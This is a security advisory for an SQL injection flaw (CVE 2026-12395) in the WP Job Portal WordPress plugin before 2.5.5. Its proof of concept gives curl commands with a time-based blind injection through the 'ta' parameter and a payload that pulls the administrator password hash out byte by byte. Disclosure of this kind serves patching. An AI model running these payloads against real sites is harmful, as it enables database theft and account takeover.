WP Job Portal < 2.5.5 – Subscriber+ SQL Injection via Applied Resumes 'ta' Parameter | CVE 2026-12395

Description

The plugin does not properly sanitize and escape a parameter before using it in a SQL query, allowing authenticated users with a subscriber-level (self-registerable) account to perform SQL injection attacks.

Proof of Concept

Prerequisite: an authenticated account holding the plugin Employer role (created via the plugin's front-end "Register as Employer" form), with at least one of the attacker's own jobs that has at least one applicant (the normal state for an employer reviewing applications, so the scanned cross-join is non-empty).

1) Blind time-based injection via the 'ta' parameter. The value is concatenated unquoted into a numeric comparison in both the pagination COUNT query and the results query, so each SLEEP runs twice (~6s total):

   curl -k -b 'EMPLOYER_COOKIES' -G \
     'https://TARGET/employer/?wpjobportalme=jobapply&wpjobportallt=jobappliedresume&jobid=JOBID' \
     --data-urlencode 'ta=5 AND SLEEP(3)'

   Control 'ta=5 AND SLEEP(0)' returns immediately (~0.05s); 'ta=5 AND SLEEP(3)' delays ~6s.

2) Data exfiltration. esc_sql() escapes quotes, so the working extraction is quote-free, using ASCII()/hex comparisons. Example testing the first byte of the administrator password hash (delays ~6s on a match, returns immediately otherwise):

   curl -k -b 'EMPLOYER_COOKIES' -G \
     'https://TARGET/employer/?wpjobportalme=jobapply&wpjobportallt=jobappliedresume&jobid=JOBID' \
     --data-urlencode 'ta=5 AND (SELECT IF(ASCII(SUBSTRING(user_pass,1,1))=36,SLEEP(3),0) FROM wp_users WHERE ID=1)'

   This allows byte-by-byte extraction of wp_users.user_pass and any other database value.

Note: the employer control-panel page must host the [wpjobportal_employer_controlpanel] shortcode (the plugin's standard employer dashboard) for the front controller to dispatch the applied-resume view.